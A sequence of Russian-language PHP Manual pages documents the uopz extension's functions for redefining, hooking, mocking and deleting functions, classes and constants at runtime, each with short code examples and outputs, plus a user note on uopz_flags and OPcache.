  • uopz_compose »
  • PHP Manual
  • Функции Uopz
  • Резервирует функцию

uopz_backup

(PECL uopz 1 >= 1.0.3, PECL uopz 2)

uopz_backup — Резервирует функцию

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_backup(string $function): void
uopz_backup(string $class, string $function): void

Резервирует функцию во время выполнения, которая будет восстановлена при завершении работы скрипта

Список параметров

class

Имя класса, содержащего функцию для резервирования

function

Имя функции

Возвращаемые значения

Примеры

Пример #1 Пример использования uopz_backup()

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
return true;
});
var_dump(fgets());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Составить класс

  • « uopz_backup
  • uopz_copy »
  • PHP Manual
  • Функции Uopz
  • Составить класс

uopz_compose

(PECL uopz 1, PECL uopz 2)

uopz_compose — Составить класс

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_compose(
string $name,
array $classes,
array $methods = ?,
array $properties = ?,
int $flags = ?
): void

Создаёт класс заданного имени, который реализует, наследует или использует все предоставленные классы

Список параметров

name

Корректное имя класса

classes

Массив имён классов, интерфейсов и трейтов

methods

Ассоциативный массив методов, где значения либо замыкания, либо представлены структурой [модификаторы => замыкание]

properties

Ассоциативный массив свойств, где ключи - имена, а значения - модификаторы

flags

Тип записи, по умолчанию ZEND_ACC_CLASS

Возвращаемые значения

Примеры

Пример #1 Пример использования uopz_compose()

<?php
class myClass {}
trait myTrait {}
interface myInterface {}

uopz_compose(
Composed::class, [
myClass::class,
myTrait::class,
myInterface::class
], [
"__construct" => function() {
/* ... */
}
]);

var_dump(
class_uses(Composed::class),
class_parents(Composed::class),
class_implements(Composed::class));
?>

Результат выполнения данного примера:

array(1) {
  ["myTrait"]=>
  string(7) "myTrait"
}
array(1) {
  ["myClass"]=>
  string(7) "myClass"
}
array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Скопировать функцию

  • « uopz_compose
  • uopz_del_function »
  • PHP Manual
  • Функции Uopz
  • Скопировать функцию

uopz_copy

(PECL uopz 1 >= 1.0.4, PECL uopz 2)

uopz_copy — Скопировать функцию

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_copy(string $function): Closure
uopz_copy(string $class, string $function): Closure

Скопировать функцию по имени

Список параметров

class

Имя класса, содержащего функцию для копирования

function

Имя функции

Возвращаемые значения

Объект Closure для определённой функции

Примеры

Пример #1 Пример использования uopz_copy()

<?php
$strtotime = uopz_copy('strtotime');

uopz_function("strtotime", function($arg1, $arg2) use($strtotime) {
/* зесь можно вызвать оригинальную функцию strtotime */
var_dump($arg1);
});

var_dump(strtotime('dummy'));
?>

Результат выполнения данного примера:

string(5) "dummy"

User Contributed Notes

There are no user contributed notes for this page.


Удаляет ранее добавленную функцию или метод

  • « uopz_copy
  • uopz_delete »
  • PHP Manual
  • Функции Uopz
  • Удаляет ранее добавленную функцию или метод

uopz_del_function

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_del_function — Удаляет ранее добавленную функцию или метод

Описание

uopz_del_function(string $function): bool
uopz_del_function(string $class, string $function, int &$all = true): bool

Удаляет ранее добавленную функцию или метод.

Список параметров

class

Имя класса.

function

Имя функции или метода.

all

Будут ли затронуты все классы, которые происходят от класса (class).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

uopz_del_function() выбрасывает RuntimeException, если удаляемые функция или метод не были добавлены с помощью uopz_add_function().

Примеры

Пример #1 Простое использование uopz_del_function()

<?php
uopz_add_function('foo', function () {echo 'bar';});
var_dump(function_exists('foo'));
uopz_del_function('foo');
var_dump(function_exists('foo'));
?>

Результат выполнения данного примера:

bool(true)
bool(false)

Смотрите также

  • uopz_add_function() - Добавляет несуществующую функцию или метод
  • uopz_unset_return() - Отменяет ранее установленное возвращаемое значение для функции

User Contributed Notes

There are no user contributed notes for this page.


Удалить функцию

  • « uopz_del_function
  • uopz_extend »
  • PHP Manual
  • Функции Uopz
  • Удалить функцию

uopz_delete

(PECL uopz 1, PECL uopz 2)

uopz_delete — Удалить функцию

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_delete(string $function): void
uopz_delete(string $class, string $function): void

Удаляет функцию или метод

Список параметров

class

function

Возвращаемые значения

Примеры

Пример #1 Пример использования uopz_delete()

<?php
uopz_delete("strlen");

echo strlen("Hello World");
?>

Результатом выполнения данного примера будет что-то подобное:

PHP Fatal error: Call to undefined function strlen() in /path/to/script.php on line 4

Пример #2 Пример использования uopz_delete() с классом

<?php
class My {
public static function strlen($arg) {
return strlen($arg);
}
}

uopz_delete(My::class, "strlen");

echo My::strlen("Hello World");
?>

Результатом выполнения данного примера будет что-то подобное:

PHP Fatal error: Call to undefined method My::strlen() in /path/to/script.php on line 10

User Contributed Notes

There are no user contributed notes for this page.


Расширить класс во время выполнения

  • « uopz_delete
  • uopz_flags »
  • PHP Manual
  • Функции Uopz
  • Расширить класс во время выполнения

uopz_extend

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7 < 7.1.0)

uopz_extend — Расширить класс во время выполнения

Описание

uopz_extend(string $class, string $parent): bool

Расширяет текущий класс class родительским parent

Список параметров

class

Название класса для расширения

parent

Название класса для наследования

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Начиная с PHP 7.4.0, uopz_extends() выбрасывает RuntimeException, если OPcache включён и запись класса либо class, либо parent (если это признак) неизменны.

Примеры

Пример #1 Пример использования uopz_extend()

<?php
class A {}
class B {}

uopz_extend(A::class, B::class);

var_dump(class_parents(A::class));
?>

Результат выполнения данного примера:

array(1) {
  ["B"]=>
  string(1) "B"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить или установить флаги для функции или класса

  • « uopz_extend
  • uopz_function »
  • PHP Manual
  • Функции Uopz
  • Получить или установить флаги для функции или класса

uopz_flags

(PECL uopz 2 >= 2.0.2, PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_flags — Получить или установить флаги для функции или класса

Описание

uopz_flags(string $function, int $flags = PHP_INT_MAX): int
uopz_flags(string $class, string $function, int $flags = PHP_INT_MAX): int

Получить или установить флаги для записи функции или класса во время выполнения

Список параметров

class

Имя класса

function

Имя функции. Если задан class и пустая строка передана как function, uopz_flags() получает или устанавливает флаги записи класса.

flags

Корректный набор флагов ZEND_ACC_. Если не заданы, uopz_flags() используется как геттер.

Возвращаемые значения

При установке новых флагов, возвращает старые флаги, иначе возвращает текущие флаги

Ошибки

Начиная с PHP 7.4.0, если передан параметр flags, uopz_extends() выбрасывает RuntimeException, если OPcache включён и запись класса либо class, либо parent (если это признак) неизменны.

Список изменений

Версия | Описание
PECL uopz 5.0.0 | Параметр flags теперь необязательный. Ранее ZEND_ACC_FETCH должен был передаваться, чтобы uopz_flags() использовался как геттер.

Примеры

Пример #1 Пример использования uopz_flags()

<?php
class Test {
public function method() {
return __CLASS__;
}
}

$flags = uopz_flags("Test", "method");

var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_STATIC));

var_dump(uopz_flags("Test", "method", $flags|ZEND_ACC_STATIC|ZEND_ACC_PRIVATE));

var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_STATIC));
?>

Результат выполнения данного примера:

bool(false)
bool(false)
int(1234567890)
bool(true)
bool(true)

Пример #2 "Отменить final" класса

<?php
final class MyClass
{
}

$flags = uopz_flags(MyClass::class, '');
uopz_flags(MyClass::class, '', $flags & ~ZEND_ACC_FINAL);
var_dump((new ReflectionClass(MyClass::class))->isFinal());
?>

Результат выполнения данного примера:

bool(false)

User Contributed Notes

ASchmidt at Anamera dot net 05-Dec-2020 06:37
To clarify the above hint:
"...the class entry of class or the function entry of function is immutable"

Neither PHP class or function definitions have any "immutable" keyword - so this note is confusing, as it implies that a PHP programmer has any control over this. In reality, the "immutable" state mentioned is an internally-controlled optimization/shared memory feature of OPcache.

Consequently, if one has a need to set (alter) the flags of a PHP class or function by means of "uopz_flags()", then it is necessary to EXCLUDE the PHP script of the referenced class or function from OPcache, using the "opcache.blacklist_filename" INI parameter.
ASchmidt at Anamera dot net 19-Jul-2018 04:44
If the method name is set to an empty string, then the flags for the CLASS itself will be affected, instead of an individual method. This can be used to remove the "final" attribute from a class.
<?php
declare(strict_types=1);

final class MyClass { function mymethod() {} };
uopz_flags(MyClass::class, '', 0);
?>

Note: Although not documented, setting the method to NULL will also target the CLASS flags, however, that syntax will clash with strict types because of the developer's improper function signature.


Создаёт функцию во время выполнения

  • « uopz_flags
  • uopz_get_exit_status »
  • PHP Manual
  • Функции Uopz
  • Создаёт функцию во время выполнения

uopz_function

(PECL uopz 1, PECL uopz 2)

uopz_function — Создаёт функцию во время выполнения

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_function(string $function, Closure $handler, int $modifiers = ?): void
uopz_function(
string $class,
string $function,
Closure $handler,
int $modifiers = ?
): void

Создаёт функцию во время выполнения

Список параметров

class

Имя класса для получения новой функции

function

Имя функции

handler

Замыкание для функции

modifiers

Модификаторы для функции, по умолчанию скопированы или ZEND_ACC_PUBLIC

Возвращаемые значения

Примеры

Пример #1 Пример использования uopz_function()

<?php
uopz_function("my_strlen", function($arg) {
return strlen($arg);
});
echo my_strlen("Привет, Мир");
?>

Результат выполнения данного примера:

11

Пример #2 Пример использования uopz_function() с классом

<?php
class My {}

uopz_function(My::class, "strlen", function($arg) {
return strlen($arg);
}, ZEND_ACC_STATIC);

echo My::strlen("Привет, Мир");
?>

Результат выполнения данного примера:

11

User Contributed Notes

There are no user contributed notes for this page.


Получить последний установленный статус выхода

  • « uopz_function
  • uopz_get_hook »
  • PHP Manual
  • Функции Uopz
  • Получить последний установленный статус выхода

uopz_get_exit_status

(PECL uopz 5, PECL uopz , PECL uopz 7)

uopz_get_exit_status — Получить последний установленный статус выхода

Описание

uopz_get_exit_status(): mixed

Получает последний установленный статус выхода, то есть значение, переданное в exit().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Эта функция возвращает последний статус выхода или null, если exit() не был вызван.

Примеры

Пример #1 Пример использования uopz_get_exit_status()

<?php
exit(123);
echo uopz_get_exit_status();?>

Результат выполнения данного примера:

123

Примечания

Предостережение

OPcache оптимизирует мёртвый код после безусловного завершения.

Смотрите также

  • uopz_allow_exit() - Позволяет управлять отключённым опкодом exit

User Contributed Notes

There are no user contributed notes for this page.


Получает ранее установленный обработчик на функцию или метод

  • « uopz_get_exit_status
  • uopz_get_mock »
  • PHP Manual
  • Функции Uopz
  • Получает ранее установленный обработчик на функцию или метод

uopz_get_hook

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_hook — Получает ранее установленный обработчик на функцию или метод

Описание

uopz_get_hook(string $function): Closure
uopz_get_hook(string $class, string $function): Closure

Получает ранее установленный обработчик на функцию или метод.

Список параметров

class

Имя класса.

function

Имя функции или метода.

Возвращаемые значения

Возвращает ранее установленный обработчик на функцию или метод, либо null, если обработчик не был установлен.

Примеры

Пример #1 Простое использование uopz_get_hook()

<?php
function foo() {
echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
var_dump(uopz_get_hook('foo'));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Closure)#2 (0) {
}

Смотрите также

  • uopz_set_hook() - Устанавливает обработчик для выполнения при вызове функции или метода
  • uopz_unset_hook() - Удаляет ранее установленную функцию или метод

User Contributed Notes

There are no user contributed notes for this page.


Получить текущий имитатор (mock) для класса

  • « uopz_get_hook
  • uopz_get_property »
  • PHP Manual
  • Функции Uopz
  • Получить текущий имитатор (mock) для класса

uopz_get_mock

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_mock — Получить текущий имитатор (mock) для класса

Описание

uopz_get_mock(string $class): mixed

Возвращает текущий имитатор class.

Список параметров

class

Название имитированного класса

Возвращаемые значения

Либо строка, содержащая название имитатора, либо объект, либо null, если имитатор не задан.

Примеры

Пример #1 Пример использования uopz_get_mock()

<?php
class A {
public static function who() {
echo "A";
}
}

class mockA {
public static function who() {
echo "mockA";
}
}

uopz_set_mock(A::class, mockA::class);
echo uopz_get_mock(A::class);
?>

Результат выполнения данного примера:

mockA

Смотрите также

  • uopz_set_mock() - Использовать имитатор вместо класса для новых объектов
  • uopz_unset_mock() - Удалить ранее установленный имитатор

User Contributed Notes

There are no user contributed notes for this page.


Получает значение класса или свойство экземпляра

  • « uopz_get_mock
  • uopz_get_return »
  • PHP Manual
  • Функции Uopz
  • Получает значение класса или свойство экземпляра

uopz_get_property

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_property — Получает значение класса или свойство экземпляра

Описание

uopz_get_property(string $class, string $property): mixed
uopz_get_property(object $instance, string $property): mixed

Устанавливает значение существующего статического свойства класса, если указан класс (class), либо значение существующего свойства экземпляра, если передан экземпляр (instance).

Список параметров

class

Имя класса.

instance

Экземпляр объекта.

property

Имя свойства.

Возвращаемые значения

Возвращает значение класса или свойство экземпляра, либо null, если свойство не определено.

Примеры

Пример #1 Простое использование uopz_get_property()

<?php
class Foo {
private static $staticBar = 10;
private $bar = 100;
}
$foo = new Foo;
var_dump(uopz_get_property('Foo', 'staticBar'));
var_dump(uopz_get_property($foo, 'bar'));
?>

Результатом выполнения данного примера будет что-то подобное:

int(10)
int(100)

Смотрите также

  • uopz_set_property() - Устанавливает значение существующего свойства класса или экземпляра

User Contributed Notes

There are no user contributed notes for this page.


Получает предыдущее установленное возвращаемое значение для функции

  • « uopz_get_property
  • uopz_get_static »
  • PHP Manual
  • Функции Uopz
  • Получает предыдущее установленное возвращаемое значение для функции

uopz_get_return

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_return — Получает предыдущее установленное возвращаемое значение для функции

Описание

uopz_get_return(string $function): mixed
uopz_get_return(string $class, string $function): mixed

Получает возвращаемое значение function, ранее установленное с помощью uopz_set_return().

Список параметров

class

Имя класса, содержащего функцию

function

Имя функции

Возвращаемые значения

Ранее установленное возвращаемое значение или объект Closure.

Примеры

Пример #1 Пример использования uopz_get_return()

<?php
uopz_set_return("strlen", 42);
echo uopz_get_return("strlen");
?>

Результат выполнения данного примера:

42

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статические переменные из области видимости функции или метода

  • « uopz_get_return
  • uopz_implement »
  • PHP Manual
  • Функции Uopz
  • Возвращает статические переменные из области видимости функции или метода

uopz_get_static

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_get_static — Возвращает статические переменные из области видимости функции или метода

Описание

uopz_get_static(string $class, string $function): array
uopz_get_static(string $function): array

Возвращает статические переменные из области видимости функции или метода.

Список параметров

class

Имя класса.

function

Имя функции или метода.

Возвращаемые значения

Возвращает ассоциативный массив (array) имён переменных, сопоставленный с их текущим значениям в случае успешного выполнения, либо null, если функция или метод не существуют.

Примеры

Пример #1 Простое использование uopz_get_static()

<?php
function foo() {
static $bar = 'baz';
}
var_dump(uopz_get_static('foo'));
?>

Результат выполнения данного примера:

array(1) {
  ["bar"]=>
  string(3) "baz"
}

Смотрите также

  • uopz_set_static() - Устанавливает статические переменные в области видимости функции или метода

User Contributed Notes

There are no user contributed notes for this page.


Реализует интерфейс во время выполнения

  • « uopz_get_static
  • uopz_overload »
  • PHP Manual
  • Функции Uopz
  • Реализует интерфейс во время выполнения

uopz_implement

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7 < 7.1.0)

uopz_implement — Реализует интерфейс во время выполнения

Описание

uopz_implement(string $class, string $interface): bool

Делает class, реализующий interface

Список параметров

class

interface

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Начиная с PHP 7.4.0, uopz_implements() выбрасывает RuntimeException, если OPcache включён и запись класса class неизменна.

Примеры

Пример #1 Пример использования uopz_implement()

<?php
interface myInterface {}

class myClass {}

uopz_implement(myClass::class, myInterface::class);

var_dump(class_implements(myClass::class));
?>

Результат выполнения данного примера:

array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Перегрузить опкод VM

  • « uopz_implement
  • uopz_redefine »
  • PHP Manual
  • Функции Uopz
  • Перегрузить опкод VM

uopz_overload

(PECL uopz 1, PECL uopz 2)

uopz_overload — Перегрузить опкод VM

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_overload(int $opcode, Callable $callable): void

Перегружает определённый opcode с помощью пользовательской функции

Список параметров

opcode

Корректный опкод, смотрите константы для получения поддерживаемых опкодов

callable

Возвращаемые значения

Примеры

Пример #1 Пример использования uopz_overload()

<?php
uopz_overload(ZEND_EXIT, function(){});

exit();
echo "Привет, Мир";
?>

Результат выполнения данного примера:

Привет, Мир

User Contributed Notes

There are no user contributed notes for this page.


Переопределить константу

  • « uopz_overload
  • uopz_rename »
  • PHP Manual
  • Функции Uopz
  • Переопределить константу

uopz_redefine

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_redefine — Переопределить константу

Описание

uopz_redefine(string $constant, mixed $value): bool
uopz_redefine(string $class, string $constant, mixed $value): bool

Переопределяет заданную константу constant на значение value

Список параметров

class

Имя класса, содержащего константу

constant

Имя константы

value

Новое значение константы, должно быть корректным типом для постоянной переменной

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования uopz_redefine()

<?php
define("MY", 100);

uopz_redefine("MY", 1000);

echo MY;
?>

Результат выполнения данного примера:

1000

User Contributed Notes

There are no user contributed notes for this page.


Переименовать функцию во время выполнения

  • « uopz_redefine
  • uopz_restore »
  • PHP Manual
  • Функции Uopz
  • Переименовать функцию во время выполнения

uopz_rename

(PECL uopz 1, PECL uopz 2)

uopz_rename — Переименовать функцию во время выполнения

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_rename(string $function, string $rename): void
uopz_rename(string $class, string $function, string $rename): void

Переименовывает функцию function на rename

Замечание:

Если обе функции существуют, эта функция по сути поменяет имена

Список параметров

class

Имя класса, содержащего функцию

function

Имя существующей функции

rename

Новое имя функции

Возвращаемые значения

Примеры

Пример #1 Пример использования uopz_rename()

<?php
uopz_rename("strlen", "original_strlen");

echo original_strlen("Hello World");
?>

Результатом выполнения данного примера будет что-то подобное:

11

Пример #2 Пример использования uopz_rename() с классом

<?php
class My {
public function strlen($arg) {
return strlen($arg);
}
}

uopz_rename(My::class, "strlen", "original_strlen");

echo My::original_strlen("Hello World");
?>

Результат выполнения данного примера:

11

User Contributed Notes

There are no user contributed notes for this page.


Восстановить ранее зарезервированную функцию

  • « uopz_rename
  • uopz_set_hook »
  • PHP Manual
  • Функции Uopz
  • Восстановить ранее зарезервированную функцию

uopz_restore

(PECL uopz 1 >= 1.0.3, PECL uopz 2)

uopz_restore — Восстановить ранее зарезервированную функцию

Внимание

Эта функция была УДАЛЕНА в PECL uopz 5.0.0.

Описание

uopz_restore(string $function): void
uopz_restore(string $class, string $function): void

Восстановить ранее зарезервированную функцию

Список параметров

class

Имя класса, содержащего функцию для восстановления

function

Имя функции

Возвращаемые значения

Примеры

Пример #1 Пример использования uopz_restore()

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
return true;
});
var_dump(fgets());
uopz_restore('fgets');
fgets();
?>

Результатом выполнения данного примера будет что-то подобное:

Warning: fgets() expects at least 1 parameter, 0 given in /path/to/script.php on line 8

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает обработчик для выполнения при вызове функции или метода

  • « uopz_restore
  • uopz_set_mock »
  • PHP Manual
  • Функции Uopz
  • Устанавливает обработчик для выполнения при вызове функции или метода

uopz_set_hook

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_hook — Устанавливает обработчик для выполнения при вызове функции или метода

Описание

uopz_set_hook(string $function, Closure $hook): bool
uopz_set_hook(string $class, string $function, Closure $hook): bool

Устанавливает обработчик для выполнения при вызове функции или метода.

Список параметров

class

Имя класса.

function

Имя функции или метода.

hook

Замыкание, выполняемое при вызове функции или метода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Простое использование uopz_set_hook()

<?php
function foo() {
echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
foo();
?>

Результат выполнения данного примера:

barfoo

Смотрите также

  • uopz_get_hook() - Получает ранее установленный обработчик на функцию или метод
  • uopz_unset_hook() - Удаляет ранее установленную функцию или метод

User Contributed Notes

There are no user contributed notes for this page.


Использовать имитатор вместо класса для новых объектов

  • « uopz_set_hook
  • uopz_set_property »
  • PHP Manual
  • Функции Uopz
  • Использовать имитатор вместо класса для новых объектов

uopz_set_mock

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_mock — Использовать имитатор вместо класса для новых объектов

Описание

uopz_set_mock(string $class, mixed $mock): void

Если mock - это строка, содержащая имя класса, тогда он будет создан вместо class. mock также может быть объектом.

Замечание:

Только динамический доступ к свойствам и методам будет использовать объект mock. Статический доступ будет использовать оригинальный class. Смотрите пример ниже.

Список параметров

class

Имя класса, который будет имитирован.

mock

Имитатор в виде строки, содержащей имя используемого класса, либо объект. Если передана строка, она должна быть содержать абсолютное имя класса. В этом случае рекомендуется использовать магическую константу ::class.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
uopz 6.0.0 | Имитирование статических функций более не поддерживаются этой функцией. Вместо это го следует использовать uopz_redefine() и uopz_set_return(), или Componere.

Примеры

Пример #1 Пример использования uopz_set_mock()

<?php
class A {
public function who() {
echo "A";
}
}

class mockA {
public function who() {
echo "mockA";
}
}

uopz_set_mock(A::class, mockA::class);
(new A)->who();
?>

Результат выполнения данного примера:

mockA

Пример #2 Пример использования uopz_set_mock()

<?php
class A {
public function who() {
echo "A";
}
}

uopz_set_mock(A::class, new class {
public function who() {
echo "mockA";
}
});
(new A)->who();
?>

Результат выполнения данного примера:

mockA

Пример #3 uopz_set_mock() и статические члены класса

Начиная с uopz 6.0.0, имитация статических членов класса не поддерживается.

<?php
class A {
public static function who() {
echo "A";
}
}

uopz_set_mock(A::class, new class {
const CON = 'mockA';
public static function who() {
echo "mockA";
}
});
echo A::CON, PHP_EOL;
A::who();

Результат выполнения данного примера:

A
A

Вывод примера в uopz 5:

mockA
mockA

Смотрите также

  • uopz_get_mock() - Получить текущий имитатор (mock) для класса
  • uopz_unset_mock() - Удалить ранее установленный имитатор

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение существующего свойства класса или экземпляра

  • « uopz_set_mock
  • uopz_set_return »
  • PHP Manual
  • Функции Uopz
  • Устанавливает значение существующего свойства класса или экземпляра

uopz_set_property

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_property — Устанавливает значение существующего свойства класса или экземпляра

Описание

uopz_set_property(string $class, string $property, mixed $value): void
uopz_set_property(object $instance, string $property, mixed $value): void

Задаёт значение существующего статического свойства класса, если задан класс (class), либо значение существующего свойства экземпляра (вне зависимости от того, существует ли свойство экземпляра), если передан экземпляр (instance).

Список параметров

class

Имя класса.

instance

Экземпляр объекта.

property

Имя свойства.

value

Значение, присваиваемое свойству.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Простое использование uopz_set_property()

<?php
class Foo {
private static $staticBar;
private $bar;
public static function testStaticBar() {
return self::$staticBar;
}
public function testBar() {
return $this->bar;
}
}
$foo = new Foo;
uopz_set_property('Foo', 'staticBar', 10);
uopz_set_property($foo, 'bar', 100);
var_dump(Foo::testStaticBar());
var_dump($foo->testBar());
?>

Результат выполнения данного примера:

int(10)

Смотрите также

  • uopz_get_property() - Получает значение класса или свойство экземпляра

User Contributed Notes

There are no user contributed notes for this page.


Предоставить возвращаемое значение для существующей функции

  • « uopz_set_property
  • uopz_set_static »
  • PHP Manual
  • Функции Uopz
  • Предоставить возвращаемое значение для существующей функции

uopz_set_return

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_set_return — Предоставить возвращаемое значение для существующей функции

Описание

uopz_set_return(string $function, mixed $value, bool $execute = false): bool
uopz_set_return(
string $class,
string $function,
mixed $value,
bool $execute = false
): bool

Установить возвращаемое значение для function на value. Если value замыкание и установлен execute, замыкание будет выполняться вместо исходной функции. Можно вызвать исходную функцию из замыкания.

Замечание:

Эта функция заменяет uopz_rename().

Список параметров

class

Имя класса, содержащего функцию

function

Имя существующей функции

value

Возвращаемое значение функцией. Если передано замыкание и параметр execute установлен, замыкание будет выполнено вместо исходной функции.

execute

Если true, и в параметре value передано замыкание, замыкание будет выполнено вместо исходной функции.

Возвращаемые значения

True в случае успешного выполнения, false в противном случае.

Примеры

Пример #1 Пример использования uopz_set_return()

<?php
uopz_set_return("strlen", 42);
echo strlen("Banana");
?>

Результат выполнения данного примера:

42

Пример #2 Пример использования uopz_set_return()

<?php
uopz_set_return("strlen", function($str) { return strlen($str) * 2; }, true );
echo strlen("Banana");
?>

Результат выполнения данного примера:

12

Пример #3 Пример использования uopz_set_return() с классом

<?php
class My {
public static function strlen($arg) {
return strlen($arg);
}
}
uopz_set_return(My::class, "strlen", function($str) { return strlen($str) * 2; }, true );
echo My::strlen("Banana");
?>

Результат выполнения данного примера:

12

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает статические переменные в области видимости функции или метода

  • « uopz_set_return
  • uopz_undefine »
  • PHP Manual
  • Функции Uopz
  • Устанавливает статические переменные в области видимости функции или метода

uopz_set_static

(PECL uopz 5, PECL uopz , PECL uopz 7)

uopz_set_static — Устанавливает статические переменные в области видимости функции или метода

Описание

uopz_set_static(string $function, array $static): void
uopz_set_static(string $class, string $function, array $static): void

Устанавливает статические переменные в области видимости функции или метода.

Список параметров

class

Имя класса.

function

Имя функции или метода.

static

Ассоциативный массив (array) имён переменных, сопоставленных с их значениями.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Простое использование uopz_set_static()

<?php
function foo() {
static $bar = 'baz';
var_dump($bar);
}
uopz_set_static('foo', ['bar' => 'qux']);
foo();
?>

Результат выполнения данного примера:

string(3) "qux"

Смотрите также

  • uopz_get_static() - Возвращает статические переменные из области видимости функции или метода

User Contributed Notes

There are no user contributed notes for this page.


Отменяет определение константы

  • « uopz_set_static
  • uopz_unset_hook »
  • PHP Manual
  • Функции Uopz
  • Отменяет определение константы

uopz_undefine

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_undefine — Отменяет определение константы

Описание

uopz_undefine(string $constant): bool
uopz_undefine(string $class, string $constant): bool

Удаляет константу во время выполнения

Список параметров

class

Название класса, содержащего constant

constant

Имя существующей константы

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования uopz_undefine()

<?php
define("MY", true);

uopz_undefine("MY");

var_dump(defined("MY"));
?>

Результат выполнения данного примера:

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет ранее установленную функцию или метод

  • « uopz_undefine
  • uopz_unset_mock »
  • PHP Manual
  • Функции Uopz
  • Удаляет ранее установленную функцию или метод

uopz_unset_hook

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_unset_hook — Удаляет ранее установленную функцию или метод

Описание

uopz_unset_hook(string $function): bool
uopz_unset_hook(string $class, string $function): bool

Удаляет ранее установленную функцию или метод.

Список параметров

class

Имя класса.

function

Имя функции или метода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Простое использование uopz_unset_hook()

<?php
function foo() {
echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
foo();
echo PHP_EOL;
uopz_unset_hook('foo');
foo();
?>

Результат выполнения данного примера:

barfoo
foo

Смотрите также

  • uopz_set_hook() - Устанавливает обработчик для выполнения при вызове функции или метода
  • uopz_get_hook() - Получает ранее установленный обработчик на функцию или метод

User Contributed Notes

There are no user contributed notes for this page.


Удалить ранее установленный имитатор

  • « uopz_unset_hook
  • uopz_unset_return »
  • PHP Manual
  • Функции Uopz
  • Удалить ранее установленный имитатор

uopz_unset_mock

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_unset_mock — Удалить ранее установленный имитатор

Описание

uopz_unset_mock(string $class): void

Удаляет ранее установленный имитатор для class.

Список параметров

class

Имя имитированного класса.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает RuntimeException, если ранее не был задан имитатор для class.

Примеры

Пример #1 Пример использования uopz_unset_mock()

<?php
class A {
public static function who() {
echo "A";
}
}

class mockA {
public static function who() {
echo "mockA";
}
}

uopz_set_mock(A::class, mockA::class);
uopz_unset_mock(A::class);
A::who();
?>

Результат выполнения данного примера:

A

Смотрите также

  • uopz_set_mock() - Использовать имитатор вместо класса для новых объектов
  • uopz_get_mock() - Получить текущий имитатор (mock) для класса

User Contributed Notes

There are no user contributed notes for this page.


Отменяет ранее установленное возвращаемое значение для функции

  • « uopz_unset_mock
  • WinCache »
  • PHP Manual
  • Функции Uopz
  • Отменяет ранее установленное возвращаемое значение для функции

uopz_unset_return

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_unset_return — Отменяет ранее установленное возвращаемое значение для функции

Описание

uopz_unset_return(string $function): bool
uopz_unset_return(string $class, string $function): bool

